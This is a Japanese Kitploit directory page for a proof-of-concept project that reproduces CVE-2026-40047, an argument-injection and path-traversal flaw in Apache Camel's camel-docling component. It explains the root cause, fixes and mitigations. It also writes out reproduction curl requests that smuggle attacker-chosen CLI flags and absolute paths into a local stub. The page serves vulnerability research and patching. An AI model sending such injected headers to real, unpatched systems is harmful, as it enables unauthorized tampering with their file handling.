Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40047 — CVE-2026-40047の再現ツール: Apache Camel camel-docling CLI引数インジェクション / パストラバーサル | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40047
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHuboscerd/cve-2026-40047

CVE-2026-40047

CVE-2026-40047の再現ツール: Apache Camel camel-docling CLI引数インジェクション / パストラバーサル

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-docling CLI 引数インジェクション/パストラバーサル再現ツール (CVE-2026-40047)

このプロジェクトは、Apache Camel の camel-docling コンポーネントにおける CLI 引数インジェクションおよびパストラバーサルの脆弱性 (CVE-2026-40047) を実証するものです。DoclingProducer はメッセージヘッダーから外部の docling コマンドラインツールの呼び出しを構築しますが、CamelDoclingCustomArguments ヘッダーを介して指定されるカスタム引数は、不十分な検証 (ブラックリストとリテラル ../ チェック) のみで追加されるため、これらのヘッダーを操作できる攻撃者は任意の docling CLI フラグやトラバーサルを含むパス値をサブプロセスに注入できます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-40047.html

脆弱性概要

プロパティ値
コンポーネントcamel-docling
影響を受けるクラスorg.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments)
根本原因CamelDoclingCustomArguments (List) を docling CLI 引数に、弱いブラックリスト + リテラル ../ チェックのみで追加している
CWECWE-88 (引数インジェクション) / CWE-22 (パストラバーサル)
影響任意の意図しない docling CLI フラグおよびディレクトリ外のパス値を外部ツールに注入可能。OS コマンドインジェクションではない (リスト形式の ProcessBuilder、シェル未使用)。
影響を受けるバージョン4.15.0 から 4.18.3 未満
修正バージョン4.18.3, 4.19.0
JIRACAMEL-23212
報告者Andrea Cosentino (Apache Software Foundation)

技術的詳細

DoclingProducer は docling の呼び出しを組み立て、java.lang.ProcessBuilder (リスト形式 — シェルは使用しない) を介して実行します。CamelDoclingCustomArguments ヘッダーからのカスタム CLI 引数がコマンドに追加されます:

root@kitploit:~
// DoclingProducer.addCustomArguments(...) - 影響を受けるバージョン
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);   // ブラックリスト + リテラル "../" チェック (弱い)
    command.addAll(customArgs);
}

影響を受けるバージョンでは、validateCustomArguments は禁止フラグのブラックリストに依存し、パス値に対してはリテラル ../ を含む場合のみ拒否していました。その結果:

  • 認識されないフラグ (ブラックリストにないもの) はそのまま docling に渡されます。
  • リテラル ../ を含まないトラバーサルパス値 (絶対パスや正規化されたシーケンス) は検出されません。

Camel が docling の呼び出しを構築するため、これらの値を制限する責任はコンポーネントにあります。修正 (CAMEL-23212) では、ブラックリストを厳格なホワイトリストに置き換え、プロデューサ管理のフラグ (--output/-o) やシェルメタキャラクタ (多層防御) を拒否し、パス値は Path.normalize() で正規化してから検証します。

呼び出しは ProcessBuilder のリスト形式を使用するため、シェルが値を解釈することはありません。シェルメタキャラクタによる OS コマンドインジェクションは不可能であり、修正におけるメタキャラクタ拒否は多層防御です。

ルート

root@kitploit:~
from("direct:convert")
    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");

この再現ツールがインジェクションを観測する方法

docling は外部ツールです。この再現ツールは (コンテナ内の PATH 上に) スタブ docling を同梱しており、受信した argv をログに記録し、マークダウンファイルを書き戻すため、注入された引数が HTTP 応答および /tmp/docling-invocations.log で確認できます。すべて Docker イメージ (アプリ + スタブ) 内で実行されるため、実際の docling のインストールは不要です。

前提条件

  • Java 17+ および Maven 3.8+ (jar のビルド用)
  • Docker (アプリ + スタブ docling の実行用)

再現手順

手順 1: jar とイメージのビルド

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

手順 2: 正常な変換

root@kitploit:~
curl http://localhost:8080/exploit/normal
# スタブ docling が受け取る: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt

手順 3: 任意の CLI 引数の注入

root@kitploit:~
curl "http://localhost:8080/exploit/attack"
# CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value] を注入
# -> スタブ docling が受け取る:
#    docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt

# リテラル "../" を含まないパス値 (絶対パス) も通過する:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"

影響を受けるバージョン (この再現ツールは 4.18.2 に固定) では、ルートは 成功 し、注入された引数がサブプロセスに到達します。修正バージョン (4.18.3 / 4.19.0) では、ホワイトリストが --injected-by-attacker を IllegalArgumentException で拒否し、ルートは失敗します。

クリーンアップ

root@kitploit:~
docker compose down

エクスプロイトの条件

  1. 外部から影響を受けるデータを CamelDoclingCustomArguments (またはパスを含むヘッダー) に転送する Camel ルートが存在する。
  2. 信頼できないプロデューサからのメッセージに対して、Camel 内部ヘッダーが除去されていない。

推奨される修正

4.18.3 / 4.19.0 にアップグレードしてください。修正では、認識された docling フラグの厳格なホワイトリストを使用し、プロデューサ管理のフラグとシェルメタキャラクタを拒否し、パス値を Path.normalize() で正規化してから検証します。

緩和策

アップグレードまでの間:

  1. 信頼できないコンテンツを CamelDoclingCustomArguments やパスを含むヘッダーにマッピングしないでください。
  2. 信頼できないプロデューサから到着するメッセージから、docling: プロデューサの前に Camel 内部ヘッダー (removeHeaders("Camel*")) を削除してください。

ファイル

root@kitploit:~
CVE-2026-40047/
├── pom.xml
├── Dockerfile                       # アプリ + PATH 上のスタブ 'docling'
├── docker-compose.yml
├── docling-stub.sh                  # スタブ 'docling' (argv をログ出力、マークダウンを書き込み)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DoclingRoute.java         # from(direct:convert).to(docling:convert)
    │   └── ExploitController.java    # CamelDoclingCustomArguments を注入
    └── resources/
        └── application.properties

免責事項

この再現ツールは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用として提供されます。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード